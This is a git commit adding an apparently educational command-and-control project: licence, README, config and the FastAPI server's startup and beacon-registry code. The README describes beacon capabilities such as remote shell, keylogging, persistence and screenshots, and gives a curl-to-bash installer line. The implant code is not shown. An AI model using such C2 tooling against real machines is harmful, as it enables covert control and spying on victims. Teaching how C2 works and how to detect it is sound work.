feat: simple c2 beacon complete

This commit is contained in:
CarterPerez-dev 2026-02-14 03:02:43 -05:00
parent 45ffde48e9
commit b04907cad8
91 changed files with 14396 additions and 2 deletions

View File

@ -0,0 +1,10 @@
APP_NAME=c2-beacon
ENVIRONMENT=development
DEBUG=true
NGINX_HOST_PORT=47430
BACKEND_HOST_PORT=47431
FRONTEND_HOST_PORT=47432
XOR_KEY=c2-beacon-default-key-change-me
LOG_LEVEL=INFO

45
PROJECTS/beginner/c2-beacon/.gitignore vendored Normal file
View File

@ -0,0 +1,45 @@
# Python
__pycache__/
*.py[cod]
*$py.class
*.egg-info/
dist/
build/
*.egg
# Virtual environments
.venv/
venv/
# SQLite
*.db
data/
# IDE
.idea/
.vscode/
*.swp
*.swo
# Testing / Linting caches
.pytest_cache/
.mypy_cache/
.ruff_cache/
htmlcov/
.coverage
# Node
node_modules/
frontend/dist/
# Environment
.env
.env.local
.env.*.local
# Docker
*.log
# OS
.DS_Store
Thumbs.db

View File

@ -0,0 +1,661 @@
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
<https://www.gnu.org/licenses/>.

View File

@ -0,0 +1,72 @@
```ruby
██████╗██████╗ ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗
██╔════╝╚════██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗████╗ ██║
██║ █████╔╝ ██████╔╝█████╗ ███████║██║ ██║ ██║██╔██╗ ██║
██║ ██╔═══╝ ██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██║██║╚██╗██║
╚██████╗███████╗ ██████╔╝███████╗██║ ██║╚██████╗╚██████╔╝██║ ╚████║
╚═════╝╚══════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝
```
[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%232-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/c2-beacon)
[![Python](https://img.shields.io/badge/Python-3.13+-3776AB?style=flat&logo=python&logoColor=white)](https://www.python.org)
[![React](https://img.shields.io/badge/React-19-61DAFB?style=flat&logo=react&logoColor=black)](https://react.dev)
[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0)
[![Docker](https://img.shields.io/badge/Docker-ready-2496ED?style=flat&logo=docker)](https://www.docker.com)
[![MITRE ATT&CK](https://img.shields.io/badge/MITRE-ATT%26CK-red?style=flat)](https://attack.mitre.org/)
> Command and Control beacon and server with XOR-encoded WebSocket protocol, 10 MITRE ATT&CK mapped commands, and a real-time operator dashboard.
*This is a quick overview — security theory, architecture, and full walkthroughs are in the [learn modules](#learn).*
## What It Does
- WebSocket-based C2 protocol with XOR + Base64 encoding and shared-key authentication
- 10 beacon commands mapped to MITRE ATT&CK: shell, sysinfo, proclist, upload, download, screenshot, keylog, persist, sleep
- Real-time operator dashboard showing connected beacons with live heartbeat tracking
- Terminal-style session page with command history, tab autocomplete, and inline screenshot rendering
- Per-beacon async task queues with SQLite persistence and full task history
- Exponential backoff reconnection with configurable sleep interval and jitter
## Quick Start
```bash
docker compose -f dev.compose.yml up -d
```
Visit `http://localhost:47430` to open the operator dashboard.
Run a beacon in a separate terminal:
```bash
just beacon
```
> [!TIP]
> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
>
> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
## Stack
**Backend:** FastAPI, aiosqlite, Pydantic, uvicorn
**Frontend:** React 19, TypeScript, Vite, Zustand, Zod
**Beacon:** asyncio, websockets, psutil, pynput, mss
## Learn
This project includes step-by-step learning materials covering security theory, architecture, and implementation.
| Module | Topic |
|--------|-------|
| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start |
| [01 - Concepts](learn/01-CONCEPTS.md) | C2 frameworks, MITRE ATT&CK, and detection |
| [02 - Architecture](learn/02-ARCHITECTURE.md) | Protocol design and data flow |
| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough |
| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises |
## License
AGPL 3.0

View File

@ -0,0 +1,47 @@
# ⒸAngelaMos | 2025 | CarterPerez-dev
[style]
based_on_style = pep8
column_limit = 89
indent_width = 4
continuation_indent_width = 4
indent_closing_brackets = false
dedent_closing_brackets = true
indent_blank_lines = false
spaces_before_comment = 2
spaces_around_power_operator = false
spaces_around_default_or_named_assign = true
space_between_ending_comma_and_closing_bracket = false
space_inside_brackets = false
spaces_around_subscript_colon = true
blank_line_before_nested_class_or_def = false
blank_line_before_class_docstring = false
blank_lines_around_top_level_definition = 2
blank_lines_between_top_level_imports_and_variables = 2
blank_line_before_module_docstring = false
split_before_logical_operator = true
split_before_first_argument = true
split_before_named_assigns = true
split_complex_comprehension = true
split_before_expression_after_opening_paren = false
split_before_closing_bracket = true
split_all_comma_separated_values = true
split_all_top_level_comma_separated_values = false
coalesce_brackets = false
each_dict_entry_on_separate_line = true
allow_multiline_lambdas = false
allow_multiline_dictionary_keys = false
split_penalty_import_names = 0
join_multiple_lines = false
align_closing_bracket_with_visual_indent = true
arithmetic_precedence_indication = false
split_penalty_for_added_line_split = 275
use_tabs = false
split_before_dot = false
split_arguments_when_comma_terminated = true
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
i18n_comment = ['# Translators:', '# i18n:']
split_penalty_comprehension = 80
split_penalty_after_opening_bracket = 280
split_penalty_before_if_expr = 0
split_penalty_bitwise_operator = 290
split_penalty_logical_operator = 0

View File

@ -0,0 +1,39 @@
"""
©AngelaMos | 2026
__init__.py
"""

View File

@ -0,0 +1,104 @@
"""
AngelaMos | 2026
__main__.py
"""
import logging
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager
import uvicorn
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from app.beacon.registry import BeaconRegistry
from app.beacon.router import router as beacon_ws_router
from app.beacon.tasking import TaskManager
from app.config import settings
from app.database import init_db
from app.ops.manager import OpsManager
from app.ops.router import rest_router as ops_rest_router
from app.ops.router import ws_router as ops_ws_router
@asynccontextmanager
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
"""
Application lifespan handler for startup and shutdown
"""
logging.basicConfig(
level = getattr(logging,
settings.LOG_LEVEL),
format = "%(asctime)s %(levelname)s %(name)s: %(message)s",
)
await init_db()
app.state.registry = BeaconRegistry()
app.state.task_manager = TaskManager()
app.state.ops_manager = OpsManager()
logging.getLogger(__name__).info(
"%s v%s started",
settings.APP_NAME,
settings.APP_VERSION
)
yield
def create_app() -> FastAPI:
"""
Application factory
"""
app = FastAPI(
title = settings.APP_NAME,
version = settings.APP_VERSION,
description = "Educational C2 beacon server for security research",
lifespan = lifespan,
root_path = "/api",
openapi_url = "/openapi.json",
docs_url = "/docs",
redoc_url = "/redoc",
)
app.add_middleware(
CORSMiddleware,
allow_origins = settings.CORS_ORIGINS,
allow_credentials = True,
allow_methods = ["GET",
"POST",
"OPTIONS"],
allow_headers = ["*"],
)
@app.get("/health", tags = ["health"])
async def health() -> dict[str, str]:
"""
Health check endpoint for container orchestration
"""
return {"status": "healthy"}
@app.get("/", tags = ["root"])
async def root() -> dict[str, str]:
"""
API information endpoint
"""
return {
"name": settings.APP_NAME,
"version": settings.APP_VERSION,
"docs": "/api/docs",
}
app.include_router(beacon_ws_router, prefix = "/ws")
app.include_router(ops_ws_router, prefix = "/ws")
app.include_router(ops_rest_router)
return app
app = create_app()
if __name__ == "__main__":
uvicorn.run(
"app.__main__:app",
host = settings.HOST,
port = settings.PORT,
reload = settings.RELOAD,
)

View File

@ -0,0 +1,137 @@
"""
AngelaMos | 2026
registry.py
"""
from datetime import UTC, datetime
import aiosqlite
from fastapi import WebSocket
from app.core.models import BeaconMeta, BeaconRecord
class BeaconRegistry:
"""
Tracks active beacon WebSocket connections backed by SQLite persistence
"""
def __init__(self) -> None:
"""
Initialize empty connection store
"""
self._connections: dict[str, WebSocket] = {}
async def register(
self,
beacon_id: str,
meta: BeaconMeta,
ws: WebSocket,
db: aiosqlite.Connection,
) -> None:
"""
Register a beacon connection in memory and upsert to database
"""
self._connections[beacon_id] = ws
now = datetime.now(UTC).isoformat()
await db.execute(
"""
INSERT INTO beacons (id, hostname, os, username, pid, internal_ip, arch, first_seen, last_seen)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
ON CONFLICT(id) DO UPDATE SET
hostname = excluded.hostname,
os = excluded.os,
username = excluded.username,
pid = excluded.pid,
internal_ip = excluded.internal_ip,
arch = excluded.arch,
last_seen = excluded.last_seen
""",
(
beacon_id,
meta.hostname,
meta.os,
meta.username,
meta.pid,
meta.internal_ip,
meta.arch,
now,
now,
),
)
await db.commit()
async def unregister(
self,
beacon_id: str,
db: aiosqlite.Connection,
) -> None:
"""
Remove beacon from active connections and update last_seen
"""
self._connections.pop(beacon_id, None)
now = datetime.now(UTC).isoformat()
await db.execute(
"UPDATE beacons SET last_seen = ? WHERE id = ?",
(now,
beacon_id),
)
await db.commit()
def get_connection(self, beacon_id: str) -> WebSocket | None:
"""
Retrieve the active WebSocket for a beacon
"""
return self._connections.get(beacon_id)
